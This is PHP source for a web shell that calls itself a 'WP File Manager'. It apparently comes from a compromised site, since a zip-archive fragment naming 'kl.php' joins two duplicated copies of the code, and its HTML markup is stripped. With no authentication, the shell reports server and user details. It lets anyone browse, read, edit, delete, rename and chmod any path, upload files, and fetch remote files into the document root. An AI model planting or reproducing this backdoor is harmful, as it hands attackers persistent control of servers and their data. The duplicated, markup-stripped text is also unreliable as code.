'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëweb@tali-ks.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
